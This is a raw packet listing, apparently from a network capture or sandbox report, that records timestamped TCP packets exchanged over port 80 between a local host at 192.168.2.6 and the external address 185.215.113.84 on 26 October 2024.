Oct 26, 2024 07:27:11.320066929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320072889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320090055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320096970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320101023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320115089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320120096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320123911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320133924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320148945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320162058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320168972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320183992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320189953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320200920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320204973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320230007 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320250988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320281029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320296049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320312023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320319891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320328951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320334911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320346117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320354939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320363045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320369959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320369959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320375919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320393085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320394039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320404053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320409060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320425034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320441961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320452929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320458889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320462942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320491076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320494890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320509911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320533037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320533037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320550919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320558071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320565939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320578098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320581913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320589066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320611954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320617914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320626020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320635080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320652008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320668936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320676088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320684910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320698977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320712090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320724964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320735931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320749044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320750952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320771933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320774078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320791006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320791960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320806026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320827961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320842028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320847034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320856094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320873022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320882082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320889950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320890903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320904970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320919991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320926905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320929050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320935011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320941925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320949078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320950985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320951939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320967913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.320971012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320988894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.320995092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.321011066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.321013927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.321027040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.321036100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.321037054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.321094990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.349977970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.349996090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350012064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350066900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350106955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350234032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350250006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350265026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350280046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350286961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350295067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350318909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350322008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350332022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350336075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350349903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350358963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350359917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350382090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350389004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350409031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350414038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350430012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350431919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350444078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350454092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350461006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350465059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350485086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350485086 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350493908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350502014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350517035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350543022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350554943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350557089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350572109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350585938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350591898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350600958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350604057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350619078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350622892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350634098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350641966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350650072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350652933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350665092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350687981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350689888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350689888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350704908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350712061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350719929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350723028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350735903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350742102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350752115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350752115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350769043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350775003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350781918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350785017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350804090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350805044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350815058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350828886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350840092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350850105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350866079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350872040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350891113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350902081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350902081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350907087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350924015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350927114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350939989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350943089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350955009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350959063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350970984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350980043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.350989103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.350991011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351003885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351020098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351023912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351023912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351038933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351043940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351058006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351058006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351073027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351077080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351092100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351099968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351109028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351114988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351131916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351135969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351146936 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351146936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351167917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351183891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351272106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351340055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351372957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351387024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351408958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351411104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351425886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351428032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351443052 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351454973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351457119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351478100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351491928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351497889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351506948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351520061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351528883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351531982 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351547003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351551056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351566076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351569891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351583958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351584911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351603985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351623058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351625919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351636887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351660013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351661921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351670980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351676941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351691961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351697922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351710081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351716042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351728916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351730108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351746082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351763010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351768017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351777077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351784945 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351794004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351804972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351810932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351818085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351828098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351834059 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351844072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351850986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351861954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351866961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351878881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351882935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351892948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351902962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351914883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351919889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351937056 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.351957083 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.351980925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352047920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352062941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352085114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352097988 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352102041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352113008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352132082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352132082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352138042 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352145910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352154016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352169037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352185011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352191925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352200985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352207899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352216959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352225065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352241039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352241039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352255106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352263927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352272987 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352277994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352293968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352297068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352304935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352309942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352332115 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352334023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352349043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352349997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352374077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352382898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352391005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352405071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352413893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352422953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352435112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352438927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352447033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352454901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352466106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352472067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352478981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352497101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352509022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352530003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352546930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352567911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352571011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352580070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352586985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352606058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352624893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352648020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352689028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352705002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352720022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352735043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352744102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352756023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352760077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352775097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352777004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352791071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352793932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352806091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352814913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352827072 CEST	49991	80	192.168.2.6	185.215.113.84
